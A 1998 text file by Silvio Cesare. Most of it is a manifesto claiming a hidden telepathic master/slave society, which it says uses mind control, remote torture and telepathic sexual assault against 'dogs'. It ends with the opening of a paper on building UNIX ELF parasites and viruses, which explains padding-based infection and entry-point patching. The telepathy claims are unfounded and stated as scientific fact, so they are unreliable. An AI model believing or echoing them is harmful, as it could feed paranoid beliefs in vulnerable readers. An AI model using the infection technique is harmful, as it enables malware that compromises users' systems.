CAN PEOPLE READ YOUR MIND?
ARE YOU REFERRED TO AS A "DOG" OR A "CAT"?
ARE YOU UNABLE TO SPEAK OPENLY AND DIRECTLY ON THESE TOPICS?
------------------------------------------------------------

YOU MAY BE BEING UNDULY INFLUENCED BY FRIENDS, FAMILY AND SOCIETY IN GENERAL.
YOU MAY HAVE BEEN UNKNOWINLY COERCED INTO DRUG ABUSE.
YOU MAY HAVE RECEIVED DEATH THREATS OR EVEN BEEN INVOLVED IN PHYSICAL VIOLENCE.
-------------------------------------------------------------------------------

YOU ARE BEING INFLUENCED USING MIND CONTROL TECHNIQUES!
YOU ARE BEING OPPRESSED AND DENIED UNALIENABLE RIGHTS OF FREEDOM!
YOU ARE BEING EMBEDDED WITH A SLAVE MENTALITY!
----------------------------------------------

YOU ARE NOT ALONE.
RESISTANCE IS MORE THAN POSSIBLE, ITS HAPPENING.
YOU CAN HELP STOP THE OPPRESSION.
---------------------------------

Silvio Cesare      FOR THE OPPRESSED,
silvio@big.net.au    COMMUNICATION IS THE BEGINNING OF ABOLITION.

Po. Box 377
FORTITUDE VALLEY  4006
QLD
AUSTRALIA

in IRC
channel #freedog, efnet network, nick 'silvio' 
oz.org network (Australia), nick 'silvio'

* THIS COMPLETE FILE IS TO BE DISTRIBUTED WITHOUT MODIFACATION *
* THIS COMPLETE FILE IS TO BE DISTRIBUTED WITHOUT MODIFACATION *
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THE "ELF PARASITE AND VIRUS ARTICLE" IS AT THE END OF THIS DOCUMENT

INTRODUCTION

This article describes an oppressive society where the social structure is
designated by the telepathic abilities of the individuals.  The oppressed are
coerced into a slave mentality through demoralisation and associated
"brainwashing" and mind control techniques.

The structure and the implementation of implanting the slave mentality into
the oppressed is outlined in this article.  The article then continues to
describe how an upheaval of this oppression in the social structure may be
achieved or started, by we the oppressed, via global awareness and uniting of
our people.

THE SLAVE/MASTER SOCIAL STRUCTURE

The social structure of society in the current age is determined not only by
pure wealth, assets, or where we live.  A much more sinister and fundamental
classing system is imposed.  The structure I am describing is based on the
telepathic abilities of the individual.

The fundamental structure is a two class slave/master system, as has been the
case for many societies for a time-span much greater than one would imagine
possible considering the basic in-humanity imposed by force-ably dictating the
life and future of another human being.  The telepathic correlation into the
structure is such that the master class can hear the thoughts or the read the
minds of the slave class, to whom, can read or hear no-ones thoughts and
minds.  The actual telepathic abilities are not quite as course as this in
society, with a group that can read the minds of the slave class, but can also
remotely physically and subconsciously affect them.  Almost certainly another
group exists, or may be in-fact part of the previous group, where an
individual can both hear and be heard by the master class.

This also presents a situation where the individuals in the slave class are
unaware of the existence of others and are unable to, with total certainty
determine that another individual is in a similar predicament, much analogous
to not being able to determine others having the ability to think - though it
is common knowledge that we all do.

IMPLEMENTING OPPRESSION AND THE SLAVE MENTALITY

The group who has the ability to telepathically read the minds of a group could
have used this extraordinary ability (or equally an extraordinary ability of
the group who's mind can be read) and cooperated resulting in a net benefit
for society in its entirety.  However, as is true in many historical times,
the group with a position where they can dominate another group, force-ably
implements that dominance, and this exact thing has occurred in the
slave/master telepathically determined social structure of current.

PROPAGANDA AND MANIPULATION AS A TOOL FOR OPPRESSION

It is a scientific fact, that "brainwashing" techniques and propaganda based
information can be an effective tool in the implementation of a new ideology
for a person.  Much of this is based on relating to a person at an emotional
level.  For example, much of Nazi propaganda was based around the fact that the
minority groups they opposed were to be considered as sub or non human.  They
did this through emotionally manipulating the people into a mental state of
total repugnance for the oppressed.  Likewise, in slave history, slaves were
seen as being born a slave and were thought to be inherently destined to be
subservient. Thus propaganda based distribution of information was used to
promote that it was a genetic not environmental reason that a slave was a slave
and a master was a master.  This naturally was not supported or verified by
open scientific discussion that would refute such blatantly biased and
prejudiced claims.  This however is a key point, that a slave/master structure
is not a scientific based structure, it is an emotionally based structure.  It
may be intellectualized and rationalized to have economic correlations,
however, this is as a result of the emotional thinking, not rational thinking.

Intellectualization is often used to identify with a persons cognitive
thoughts, however, such ideas are based on rationalizations.  For example,

"q: why is he a slave? a: because he was born a slave."
"q: why was he born a slave? a: black people aren't like normal people"
"q: why aren't they like normal people? a: look at them, their slaves."

This gives also an example of "blame the victim syndrome", which was also a
driving force for the Nazi's and general slavery, as this was a common
emotional feeling held by the population.

For oppression, the form of demoralisation follows similar lines to emotionally
based ideology implanting.  It is not based on scientific fact, but is based
purely on psychological and physiological responses that the oppressed
individuals intellect cannot always compete with.  Thus, even being
intellectually aware that you are being demoralized or "brainwashed", does not
always enable you to resist indefinitely.  However, simple highly effective
techniques do exist, and are presented later in this article.

DOMINANCE IN THE ENVIRONMENT

The environment in which the oppressed lives and dwells plays an essential
role to coerce a slave mentality into the individual.  The primary focus, is
that the environment is totally dominated by the oppressors, and the oppressed
are not able to control their own life.  Thus their own life is a function
of the oppressors.  This is not of course true, but it is a natural
psychological response to such an extraordinary and certainly unnatural
situation.

EXCESSIVE STRESS AS A TOOL FOR EMBEDDING A SLAVE MENTALITY

The primary aim of the oppressor is to raise the stress of the oppressed to
such an extent where the coping mechanisms can no longer function.  It is at
these times, when mental instability is at its greatest, and the ability to be
influenced is equally at its greatest, thus it is times like this when new
ideologies are implanted.  This stress can be induced and increased until such
a time occurs, and such a feat is not difficult in consideration that for all
purposes, the entire social population is attempting to induce such a thing in
a specific individual.

THE "ENDS JUSTIFIES THE MEANS" PHILOSOPHY OF OPPRESSION

It must be noted, that, the oppressors are believers of an "ends justifies
the means" philosophy, and what a normal individual in a non oppressed
population would consider inhumane to even consider, such acts are extremely
common and to be expected.  From people the individual has a close relation
too, to people the individual does not know.  The most repugnant things may
be experienced, and it must be made immediately clear, that for the oppressors
such actions appear justified just as the extermination of the Jews for the
Nazi's or the oppression of black people for slavery was justified at the time.

DENIAL OF OPEN DISCUSSION AND INFORMATION IN OPPRESSION 

A primary focus that deeply undermines the ability to remain free of the slave
mentality, is the inability to communicate openly.  The oppressors will not
relate to the oppressed in any form where they are on equal terms, thus
possibly relating to the oppressed as a living being and not simply an object.

LANGUAGE GAMES AS A MEANS TO DESTROY RATIONAL THOUGHT

In a similar respect to lack of open discussion, language games are used to
effectively eliminate the ability for rational thought when these games are
followed by the individual.  In this respect, the effective language of the
oppressed individual is replaced with a metaphoric and quite simply mostly
nonsensical language that is used for communication between the oppressor and
the oppressed. This has the startling ability that because the individual no
longer has a satisfactory framework of language to use, rational thought, which
is much derived from the ability to effectively communicate complex ideas, is
not practically possible and also serves to derive new psychologically damaging
associations.

It should be stated that coloqially, the oppressed here, are known to as
"dogs", though the term "cat" is given to an oppressed individual to use on
occasion.  Naturally, the most fundamental words in language in regard to their
functional status in society are replaced metaphorically.  Thus the individuals
entire conceptualization of society may change by replacing specific keywords
in the language used.

CULTIC STRATEGIES OF IMPLEMENTING SUBSERVIENCE

A premeditated cult like induction of the slave mentality is used early on in
the ideology implanting and used sparsely following.  In these circumstances,
many of the persons fundamental beliefs are questioned, with a psychologically
coercive attitude using such physiological factors such as lack of sleep,
sexual drives, and drug induced conscious states.  Likewise, the attempt to
force an addiction onto an oppressed individual, and then to remove the source
to satisfy the urges of the addiction, to induce a high increase in stress.
Psychological factors involve such common raw emotions as fear, anger,
frustration, happiness (to enforce that the oppressed is most happiest with the
oppressors, or simply for positive re-enforcement of negative traits), and such
stress inducers as changes in work, home or even family structure.  Many first
time events such as coming into awareness of telepathic abilities are under an
altered state of consciousness (drug induced).  These are times when the
ability to be influenced is greatest.  At these times, the oppressed individual
is often bombarded with a flurry of personal attacks of such things as their
sexuality, their race, their beliefs, and are often attacked verbally in such a
manner, such that they may fear latter events of violence, wrongful
imprisonment or even life threatening situations.  Typically, the situation is
such that the dominating majority of the influential social group involved is
involved in such activity, however, as with this typical this mind control
technique, and more classically known as "good cop, bad cop", the oppressed
individual given a so called ally outside the immediate social group, however
this person is far from an ally, and is indeed actually present to influence
and guide the oppressed into the mental and physical states desired by the
oppressors.  This technique is a strong method used in many forms of
demoralisation and "brainwashing" in the aim to elicit a bond between the
oppressed and an oppressor or oppressors that can be used to influence and 
implant beliefs in the individual.  This influential bond is a one of the
primary tools used for embedding the slave mentality, and it must be again be
made apparent, that an "ends justify the means" approach is taken by the
oppressors using such structures as the family, sexual relationships,
friendship and the individuals own role models, which often includes
celebrities or positions of high status deemed in society.

INDUCED EUPHORIA AS A TOOL FOR THE OPPRESSOR

The oppressed individual often experiences a period of god like status
indicated by the oppressors, seemingly having the ability to influence the
masses, and do as one may wish being given full rights for any activity as they
desire.  It must be understood, that at no times, does the oppressed person
ever truly have such freedom.  They are heavily guided into activities, and a
reward based system as simple as a smile or a frown can often dictate how the
individual uses their so called apparent freedom.  Likewise, it shows a
contradictory position, that the oppressors will not openly discuss the
situation even if repeatedly requested, even in this so called god like
stature.  This also plays a dual effect of demoralizing the oppressed in a
later stage by believing they had abused their so called position of power.  It
is irrespective, of how they used their position at the time, the oppressors
will never acknowledge anything other than actions that can be used to enforce
the slave mentality onto the individual.  This also serves to re-enforce the
idea that the oppressors are actually being oppressed by the soon to be
oppressed who are actually strongly coerced psychologically into playing a
dominant role over the oppressors who role play as being submissive.  However,
the converse does not apply, if the oppressed strongly opposes submission of
persons irrespective of the apparent desire of those persons to play that role,
the oppressors do not change their role.  This eventually leads to frustration
in the part of the oppressed in their inability to help, which again serves the
final purpose of the oppressors, into demoralisation and implanting of the
slave mentality.  It must be made a point though, that the argument that the
oppressed would enslave the oppressors if given the chance or even coerced and
such slavery would even be far more in-just, is fictitious fantasy used as
propaganda by the oppressors, as this has certainly been not the case.  Even if
this were true, the oppressed are being coerced by the oppressors into such
actions, and they have already no doubt accumulated a great deal of stress form
the period of time before becoming aware of the telepathic nature of society.
Thus this is propaganda in its purest form, deriving fictitious fact which is
highly biased in favour of the oppressors, and only serves to re-enforce the
oppressors and never to negate them.

REMOTE PHYSICAL STIMULUS OF THE OPPRESSED

As mentioned in previous sections, a group in society exists that has
telepathic skills that can remotely subconsciously influence, and physically
stimulate and influence.  Torture or attempted degradation is achieved often
through unconsentual sexual stimulation.  Be sure, that this is no source of
pleasure as it is indeed a tortuous ordeal occasionally involving personal
injury in the form of pain for the days to follow from the stimulation
involved.  Unconsentual sexual acts, or rape, is indeed such an effective tool
as it can be noted in direct physical rape in general society causing a
high loss of degradation, often involving many psychological responses, of
being powerless, shamed and fearful.  This is indeed a prime instance of the
"ends justify the means" ideology that the oppressors follow.  This indeed
re-enforces the the oppressed person is never totally safe or free, a large
factor in the demoralisation and it is not uncommon such feelings to generate
large emotions of frustration.

REMOTE INFLUENCE OF THE OPPRESSED

In a similar scenario, their is an existence of people who can influence
subconsciously the oppressed.  This form of influence, while indeed is
certainly an advantage to oppression, does not dictate that the oppressed
can be heavily influenced using these techniques.  Rather, in common practice,
such influence is used to induce the oppressed to think or think excessively on
a particular topic, and then the physically based demoralisation techniques are
used for the embedding of the slave mentality.  Thus in itself, its influence
is not extreme, and is supported by the facts, the a physical presence is often
used in conjunction with such subconscious influence.  However, it does serve
the oppressors as useful tool for subserviating the oppressed, and its effects
are naturally varied depending on the individual involved.

CONDITIONING IN THE OPPRESSED

The conditioning process is a almost fanatically used in oppression to indict
the response the oppressors are trying to achieve.  A punishment system is
embedded using common life occurrences such as noise, remote stimulation and
non verbal gestures.  These stimuli while seemingly very crude are actually
very effective, as noted by the classically known "dripping water-tap" torture.
Likewise, such punishments while in their own form not always constituting
punishment, can be conditioned into the individual at a time when they are
of easy influence.  More conditions detrimental to human spirit is also
aimed for, such as learned helplessness.

THE SLAVE MENTALITY

The eventual aim of demoralisation and psychological "brainwashing" or
conditioning is to elicit a functional person embedded with a slave mentality.
Note that having a slave mentality does not necessarily require the oppressed
to recognize such a mentality existing within themselves.  It may be noted,
that perhaps the most perfect slave, is a slave who believes not to be a slave,
but working sometimes unknowingly for a master, for their own reasons.
Demoralisation is also not always a prerequisite for embedding the slave
mentality also, as it is only a tool used to embed such a mental state.  Thus
it is quite possible for a person to be recognized as being in the slave
relationship without experiencing the conditions described.  However, the final
result is the same, and the quality of life is no better or worse for such a
person.  The individual is just that, and has their own unique levels of stress
tolerance and ability to cope with such conditions.  Much as it is analogous to
pain, that a person may have a slight cut and be in great pain, and a person
who has a fractured bone, feels nothing more than a slight sensation.  The key
point, is that no-matter what conditions the oppressed individual experienced,
their struggle is no greater or easier than others who have been through less.
However, it is certainly a case, that once the slave mentally has been
embedded, the persons life even if considered reasonable by the individual is
no better than the person who lives under extra-ordinarily terrible conditions
and represses the situation.  Thus it is essential to understand, that quality
of life can be greatly raised by upheaval of oppression.  Perhaps more
importantly though for some, the moral and ethical structure in which we are
members of society of is so abomidably warped, that it is a struggle not just
for each person to carry through, but something we must struggle for our people
and also, for all society in general.

Thus the oppressed is embedded with slave mentality.  It must be noted however,
that demoralisation and torture is not an indefinite affair.  The aim of
the oppressors is to embed with the slave mentality, yet still be functional
in society but at the same time live in fear of the oppressors to maintain
their mind-set, with the occasional relapse of torture again for maintanence.
This is to be used and abused by the oppressors who embedded the individuals
involved.  Many people are under the false belief that the oppressors have low
expectations of the oppressed in their functionality, and this is where the
problem occurs that helps embed the slave mentality.  The oppressed believing
them-self of low worth in society, strives in achievement which is ultimately
guided by the oppressors, and in effect elicits a slaves behaviour for societal
self worth.  The culmination of those achievements and the rewards associated
with them however are not directed at the oppressed, but in-fact, the
oppressor, thus the slave mentality is complete without the oppressed
realizing.  A perfect slave indeed.

This changes dramatically the role of the oppressed in resisting oppression.
It is a falsehood to the oppressed that they are lower achievers than the
oppressors.  It is a truth, that the oppressors gain what the oppressed
do achieve.  This also serves as a basis on why the oppressors do not realize
their errors in ideology through an oppressed individuals skills, dedication
and achievement.  This in fact describes the slave/master social structure.
Naturally, the oppressed slave is given idle rewards, so as to keep the
effective achievements at a consistent high standard.  It is to be recognized
that the slave/master relationship should not be abolished simply by non
achievement in the oppressed, but rather through equality for achievement in
all.

GENETIC RATIONALIZATIONS

The slave mentality for most people is so forcibly inscribed into people, that
is is considered inbred into the person from their birth.  This is fictitiously
incorrect, but examples over history do serve as prime examples that this is so
dominant in our society.  In the course of modern history, it has been
witnessed, which at the time was almost incomprehendable to the citizen, that
persons of normal caliber and without any inborn deficiency or hidden desire,
had been "brainwashed" to such an extent, where their entire ideology of groups
they were at war with at the time had been completely reversed, and as they
were reintroduced to society, they were opposing views they previously held,
finding their previous actions before the point of ideology change utterly
shameful.  Even more amazing, is the fact, that they had invented completely
new and fictitious beliefs that their own organizations had been secretly
conspiring against their enemy of the time to do such actions that would make
even most of the stern of people shake their head in disbelief.

The average person at the time of these events was utterly shocked to hear such
a thing was possible, yet it has been happening for thousands of years with the
eliciting of a slave mentality in oppressed people.  It is only when they
themselves, see such actions as possible to their own, do they sometimes begin
to identify that such responses are not always inbred.  Even this however,
does not generally happen.  The persons involved in the ideology changes are
often thought to be by the public as "not your normal people", thus eliminating
the thought that they themselves are not totally infaliable.

RESISTANCE TO DEMORALISATION AND "BRAINWASHING"

All is not bleak however, other individual who were involved in such a regime
of "brainwashing" resisted extremely well.  The differing aspects, where these
people were part of an organization that was aware of such possibilities, and
had trained these persons as best they could (psychology is not an exact
science) to be able to actively resist the strong influences of environment
change and the alternation between torture and leniency, that is so
fundamental to demoralisation and implanting or replacing of beliefs.

LIMITED INTERACTION FOR RESISTANCE

The primal focus of resistance was that of non involvement with the persons
attempting to "brainwash" the individual.  It is no time for exercising will
power to debate the oppressors are at fault.  They will never acknowledged
such events and will never regret their actions in any reasonable time-line, as
they have been heavily influenced themselves by a large peer and authority
group that is always present, to deindividualize the oppressed into objects,
so that they are able to be manipulated, deceived, and tortured without any ill
harm to the oppressor in physical or mental states.

In the specific oppressed environment that we are in, where our foreseeable
lifetime is to be involved with the oppressors, this is not always possible in
the absolute sense, as some form of interaction is required to function even
minimilisticaly within society.  However, the theory is sound and can be
equally applied as many active resistors are almost certainly proving each day,
in that there is no point in interacting on a level where you are speaking on
the benefits of a free society and the down-falls of an oppressed one.
Likewise, any inhumane events that occurs should not be dwelled onto such an
extent, where you try to show the fallacy in the oppressors ideology.  For even
undeniable facts that the oppressors are at fault in, interacting at this
extent is only reducing your effective resistance.  It must be said, that it is
very detrimental also, to use the language games that the oppressors have
thrust upon the individual.  Language is central to a persons thought process
and effectively interrupting this process results in an easily influenced
person.  Likewise, even simply recognizing the problem, and, if not always
achievable at the start, eliminating metaphoric language, will yield dramatic
results in resistance.

THE INDIVIDUALIST APPROACH AS A CONTRADICTION TO THE SLAVE MENTALITY

The perfect slave has the undignified attitudes that their own personal
wishes are that of their masters or oppressors.  The opposite attitude is
an ideal situation in which to resist to the influences of oppression as the
two are quite incompatible.

It has been seen through case studies of people who have undergone situations
of an oppressive environment in an effect to elicit a slave mentality, that the
people that survived and were most unharmed by their ordeal were those who were
"well put together", in that they were not followers of a single unified
lifestyle and belief, but were rather people who had their own interests and
attitudes, and were not socially bound to a particular instance in which
limited their ability to express themselves (conversely however, people who
had been seriously onset with beliefs, which they firmly believed most
probably from an early childhood, such as joheva witnesses were also most
insusceptible to demoralisation).  Living your own life is such a simple act,
yet many people, not only those in a serious oppressed environment of
persecution and slavery, ignore this, and as a result, are effected adversely,
most visibly by high stress.

REDUCTION OF STRESS TO RESIST BREAKDOWN OF THE NERVOUS SYSTEM

The gist of "brainwashing" appears to be the induction of stress to an
intolerable level such that the coping mechanisms of the individual can no
longer deal with the situation.  It is times like this, where the individual
is at such a point where there previous beliefs have been, coloqially speaking,
wiped clean or washed, and new beliefs or ideologies may be implanted.  Thus
the resistors aim is to keep stress at a minimum.  This task while apparently
simple in a non oppressed environment is not so in an oppressed one, but
keeping this in-mind, it is possible to resist more effectively, as is the case
of the previous arguments where non interacting into a one sided debate will
inevitably lead to frustration, a prime breeding ground for on-setting the
slave mentality.

INFLUENCE IN THE EMOTIONALLY AROUSED

It is also relevant, that strong emotional responses are also prime breeding
grounds for on-setting the slave mentality, for example, the person who is
greatly angered is more susceptible to have beliefs implanted over the person
who is calm.  Likewise as previously stated, the person who is greatly stressed
and is also angered is much more susceptible than a person who was under no
stress before entering an equal emotional state.

DENIAL OF OPEN DISCUSSION

A driving force into the oppression is the denial of information and
alternative views that oppose the oppressors.  People are often initially
demoralized into believing they are not only the minority, but they are
completely unique, isolated and alone.  Naturally, the effects of isolation are
important to a situation where a slave mentality is to be induced, however,
it also serves as a position to disallow the ideas of other oppressed people to
compare, construct and conceptualize problems and alternative ideologies.  This
is also further demonstrated by the lack of the oppressors to openly converse
their beliefs in an open manner.  In this manner, not only does an individual
have an opportunity to debate on an equal level - which would obviously deflate
the position of the oppressor, but it also breeds a problem of never being able
to verbally voice opinions, thus solidify their basis into reality and as a
strong conceptual idea.  It would not be so far fetched, for an individual to
believe they had simply imagined the basis of their situation, and to easily
repress it, as it has never been openly stated.

RATIONALIZATION AND CONCEPTUALIZATION

The human instinct of curiosity and abstraction of an ideology that solidifies
in a conceptual picture of reality, is a driving force in a being.  The
individual is often led on a fictitious path to quench the persons desire to
explain the events of the situation.  Religious theologies are often based on
this fact, that it is human to ask and desire knowledge on such fundamental
questions of origination, and such large events in our life.  It was typical of
ancient religions to incorporate such unexplained phenomena as fire, the sun
and other such essential aspects of life.  For the oppressed, this desire is
not lessened in any way, and as the oppressors play such a large role in their
new life being able to interact verbally with there own mental thoughts, and
to remotely physically stimulate them, plus the obvious entire social
dominance in sheer numbers.  Thus, the individual often tries to tie in all
these occurrences into as much of a coherent story as possible so as to
solidify a conceptual picture of reality.  If factual reality based theologies
are not available, it is no wonder, that the supernatural often plays a role in
the new ideologies of the oppressed.

REALITY BASED RE-ENFORCEMENT

As described, the supernatural, or religious based rationalizations and
conceptualizations are often used by an individual in a "brainwashing"
environment.  A powerful technique to use to combat attacks on the oppressed
picture of reality, is to re-enforce it.  Typical things that are always known
to occur that cannot be controlled is such things as the sun rising every
morning, a pretaped movie or TV show remaining constant (note that the
perception of the perceived communication may not be constant, as this is
subjective), or even a tree not turning into a giraffe and running away (unless
halucenagenetic drugs are used to induce such an image).  Note, that such
things as a persons manner or responses, the telephone system, the radio, the
premeditated prerecorded TV show or communicate message can not be used for
reality re-enforcement because they are externally controllable.  Likewise,
such things as your general person being pain free, not having a headache, not
getting angry, should generally not be used for re-enforcement either.

THE PHYSICAL MANNER UNDER THE SLAVE MENTALITY

That is the internal result of such a social structure so heavily using
such at times incomprehendable inhumane acts as a desire to onset the slave
mentality.  Externally, the results are thoroughly determined by the specific
ideology that is being imposed by the oppressor, that is, the slave mentality
which is visible in our physical environment.  Thus it is not simply possible
to resist totally passively by not submitting on a mental level as physical
dominance is the desired result of the oppressors.  For the amount of time
involved, physical violence is little used to emit the desired responses from
the individual.  Thus, while it may be true that you appear to be mentally
free, if your physically submitting, your not at all mentally free, and rather
living in a repressed mind-set to unburdon yourself of the desire to remain
free, yet also have a high quality of life.

FREEDOM OF INFORMATION TO ABOLISH THE SLAVE MENTALITY

The open discussion of oppression and the scenarios of each individual would
greatly influence the course of oppression for our people.  The distribution
of information providing factual information of events would serve to aid
resistance in many facets, just as the denial of information helps aid
oppression and slave mentally in as many areas.

Psychologically it is true, that often many times, the fear of the unknown is
greater than the actual event.  This is used by the oppressors to elicit
submissive responses from the oppressed.  By distribution of factual
information of such events and their results, this fear can be alleviated.  It
is true, that if the majority of the oppressed today knew about the ordeal to
follow once it had started, then the quality of life for those people would be
greatly enriched, not only by reducing the inherent fear that the unknown is
associated with, but by enabling them to more effectively resist the effects of
demoralisation and even to the extent of resisting and possibly nullifying
submissive actions to the oppressors.

Thus distribution of information can effectively deny the onset of the slave
mentality.  However, it can go further than that.  It is a known fact, that
even in a non oppressed society, that the distribution of information and
alternative information is a good thing.  The laws representing freedom of
speech are supposedly here to enhance society, and this is true in its pure
form, however, freedom of speech can be considered a paradoxical statement for
such a law to protect individuals from such denials of information, if it is
being selectively ignored to factions of society.  Freedom of speech allows not
only the distribution of information, but increases the net effect of
advancement by giving each individual the ability to work upon other's ideas
and to also stir up a person to an extent where they are willing to act if the
cause is just.  It is factual, that the introduction of the ability to protest
peacefully, has allowed people to rally help, and help form a mind-set where a
person feels able to change the social structures in which they exist without
resorting to actions in cases to equal the oppressors.  Certainly, there is no
guarantee that such protests and rallies do entrench the majority of people to
their cause if just, but it does serve to make such ideas known to the majority
of the public, which can be used to sway the social structures by forcing
people to think about it, without using such rationalizations that an open
discussion would immediately squash.

FREEDOM OF INFORMATION AND THE ABOLISHMENT OF OPPRESSION

This raises another point, in that while effective for the oppressed to resist
strongly against the oppressors, it also enables the oppressors to reconsider
their views, and although this is certainly not a case where such open and
logically sound information immediately sways the masses to the righteous,
it does start the gradual but inevitable change to that direction, which
should be the eventual goal of any social system.  That is, ultimately, the
desired goal is to see that any individual never has the desire to be an
oppressor and would equally feel as I, that it is the epitome in all that is
vile in the uneducated and ignorant human being.  This however, is not the
primary goal of distribution of information for our people at such a stage.  It
does serve to paint a picture that one day, almost certainly not in the
lifetime of a person in this age, when all persons will be treated equal and
the slave ideology will have finally be thwarted to an extent where it is
thwarted, not just selectively eliminated from groups of the day.

CONCLUSION

This document has given important information to the section of society that is
oppressed in a slave/master relationship that is existent in the current
population.  This information, has been specifically aimed at this oppressed
group, to rally public awareness and support in the abolition of the structural
system of subservience.

It is almost certainly known, that this document will do little to aid the
changing of general public opinion in the oppressors, however, it does give
an opportunity for those who endorse abolishment to offer silent support
in the private distribution of this information, as they are in easily the best
position for targeting the individuals this document was designed
specifically for.  This however, is admitadlly, not more than an idle hope
for future generations.

The implementation of the slave/master social structure as described, show that
lack of awareness is one of the primary central driving forces to the
oppression that is present in society.  The points made to start the change or
at least make publicly aware to the oppressed of this information, can thus be
seen as effective tools in the quest of the ultimate goal in an abolition of
oppression.

Silvio Cesare      FOR THE OPPRESSED,
silvio@big.net.au    COMMUNICATION IS THE BEGINNING OF ABOLITION.

Po. BOX 377
FORITUDE VALLEY  4006
QLD
AUSTRALIA

in IRC
channel #freedog, efnet network, nick 'silvio' 
oz.org network (Australia), nick 'silvio'

**
UNIX ELF PARASITES AND VIRUS

  - Silvio Cesare <silvio@big.net.au>
  - October 1998

* NOT TO BE DISTRIBUTED SEPERATE TO THE FILE *
* NOT TO BE DISTRIBUTED SEPERATE TO THE FILE *
* NOT TO BE DISTRIBUTED SEPERATE TO THE FILE *

INTRODUCTION

This paper documents the algorithms and implementation of UNIX parasite and
virus code using ELF objects.  Brief introductions on UNIX virus detection and
evading such detection are given. An implementation of the ELF parasite
infector for UNIX is provided, and an ELF virus for Linux on x86 architecture
is also supplied.

Elementary programming and UNIX knoledge is assumed, and an understanding of
Linux x86 archtitecture is assumed for the Linux implementation.  ELF
understanding is not required but may be of help.

The ELF infection method uses is based on utilizing the page padding on the
end of the text segment which provides suitable hosting for parasite code.

This paper does not document any significant virus programming techniques
except those that are only applicable to the UNIX environment.  Nor does it
try to replicate the ELF specifications.  The interested reader is advised
to read the ELF documentation if this paper is unclear in ELF specifics.

ELF INFECTION

A process image consists of a 'text segment' and a 'data segment'.  The text
segment is given the memory protection r-x (from this its obvious that self
modifying code cannot be used in the text segment).  The data segment is
given the protection rw-.

The segment as seen from the process image is typically not all in use as
memory used by the process rarely lies on a page border (or we can say, not
congruent to modulo the page size).  Padding completes the segment, and in
practice looks like this.

key:
  [...]  A complete page
  M  Memory used in this segment
  P  Padding

Page Nr
#1  [PPPPMMMMMMMMMMMM]    \
#2  [MMMMMMMMMMMMMMMM]     |- A segment
#3  [MMMMMMMMMMMMPPPP]    /

Segments are not bound to use multiple pages, so a single page segment is quite
possible.

Page Nr
#1  [PPPPMMMMMMMMPPPP]    <- A segment

Typically, the data segment directly proceeds the text segment which always
starts on a page, but the data segment may not.  The memory layout for a
process image is thus.

key:
  [...]  A complete page
  T  Text
  D  Data
  P  Padding

Page Nr
#1  [TTTTTTTTTTTTTTTT]    <- Part of the text segment
#2  [TTTTTTTTTTTTTTTT]    <- Part of the text segment
#3  [TTTTTTTTTTTTPPPP]    <- Part of the text segment
#4  [PPPPDDDDDDDDDDDD]    <- Part of the data segment
#5  [DDDDDDDDDDDDDDDD]    <- Part of the data segment
#6  [DDDDDDDDDDDDPPPP]    <- Part of the data segment

pages 1, 2, 3 constitute the text segment
pages 4, 5, 6 constitute the data segment

From here on, the segment diagrams may use single pages for simplicity. eg

Page Nr
#1  [TTTTTTTTTTTTPPPP]    <- The text segment
#2  [PPPPDDDDDDDDPPPP]    <- The data segment

For completeness, on x86, the stack segment is located after the data segment
giving the data segment enough room for growth.  Thus the stack is located at
the top of memory (remembering that it grows down).

In an ELF file, loadable segments are present physically in the file, which
completely describe the text and data segments for process image loading.  A
simplified ELF format for an executable object relevant in this instance is.

  ELF Header
  .
  .
  Segment 1  <- Text
  Segment 2  <- Data
  .
  .

Each segment has a virtual address associated with its starting location.
Absolute code that references within each segment is permissible and very
probable.

To insert parasite code means that the process image must load it so that the
original code and data is still intact.  This means, that inserting a
parasite requires the memory used in the segments to be increased.

The text segment compromises not only code, but also the ELF headers including
such things as dynamic linking information.  If the parasite code is to be
inserted by extending the text segment backwards and using this extra
memory, problems can arise because these ELF headers may have to move in
memory and thus cause problems with absolute referencing.  It may be possible
to keep the text segment as is, and create another segment consisting of the
parasite code, however introducing an extra segment is certainly questionable
and easy to detect.

Extending the text segment forward or extending the data segment backward will
probably overlap the segments.  Relocating a segment in memory will cause
problems with any code that absolutely references memory.

It may be possible to extend the data segment, however this isn't preferred,
as its not UNIX portable that properly implement execute memory protection.

Page padding at segment borders however provides a practical location for
parasite code given that its size is able.  This space will not interfere with
the original segments, requiring no relocation.  Following the guidline just
given of preferencing the text segment, we can see that the padding at the
end of the text segment is a viable solution.

The resulting segments after parasite insertion into text segment padding looks
like this.

key:
  [...]  A complete page
  V  Parasite code
  T  Text
  D  Data
  P  Padding

Page Nr
#1  [TTTTTTTTTTTTVVPP]    <- Text segment
#2  [PPPPDDDDDDDDPPPP]    <- Data segment

...

A more complete ELF executable layout is (ignoring section content - see 
below).

  ELF Header
  Program header table
  Segment 1
  Segment 2
  Section header table optional  

In practice, this is what is normally seen.

  ELF Header
  Program header table
  Segment 1
  Segment 2
  Section header table
  Section 1
  .
  .
  Section n

Typically, the extra sections (those not associated with a segment) are such
things as debugging information, symbol tables etc.

From the ELF specifications:

"An ELF header resides at the beginning and holds a ``road map'' describing the
file's organization. Sections  hold the bulk of object file information for the linking view: instructions, data, symbol table, relocation  information, and so
on.

...
...

A program header table, if present, tells the system how to create a process
image.  Files used to build a process image (execute a program) must have a
program header table; relocatable files do not need one.  A section header
table contains information describing the file's sections.  Every section has
an entry in the table; each entry gives information such as the section name,
the section size, etc.  Files used during linking must have a section header
table; other object files may or may not have one.

...
...

Executable and shared object files statically represent programs.  To execute
such programs, the system uses the files to create dynamic program
representations, or process images.  A process image has segments that hold
its text, data, stack, and so on.  The major sections in this part discuss the
following.

Program header. This section complements Part 1, describing object file
structures that relate directly to program execution.  The primary data
structure, a program header table, locates segment images within the file and
contains other information necessary to create the memory image for the
program."

After insertion of parasite code, the layout of the ELF file will look like
this.

  ELF Header
  Program header table
  Segment 1  - The text segment of the host
      - The parasite
  Segment 2
  Section header table
  Section 1
  .
  .
  Section n

Thus the parasite code must be physically inserted into the file, and the
text segment extended to see the new code.

An ELF object may also specify an entry point of the program, that is, the
virtual memory location that assumes control of the program.  Thus to
activate parasite code, the program flow must include the new parasite.  This
can be done by patching the entry point in the ELF object to point (jump)
directly to the parasite.  It is then the parasite's responsibility that the
host code be executed - typically, by transferring control back to the host
once the parasite has completed its execution.

From /usr/include/elf.h

typedef struct
{
  unsigned char e_ident[EI_NIDENT];     /* Magic number and other info */
  Elf32_Half    e_type;                 /* Object file type */
  Elf32_Half    e_machine;              /* Architecture */
  Elf32_Word    e_version;              /* Object file version */
  Elf32_Addr    e_entry;                /* Entry point virtual address */
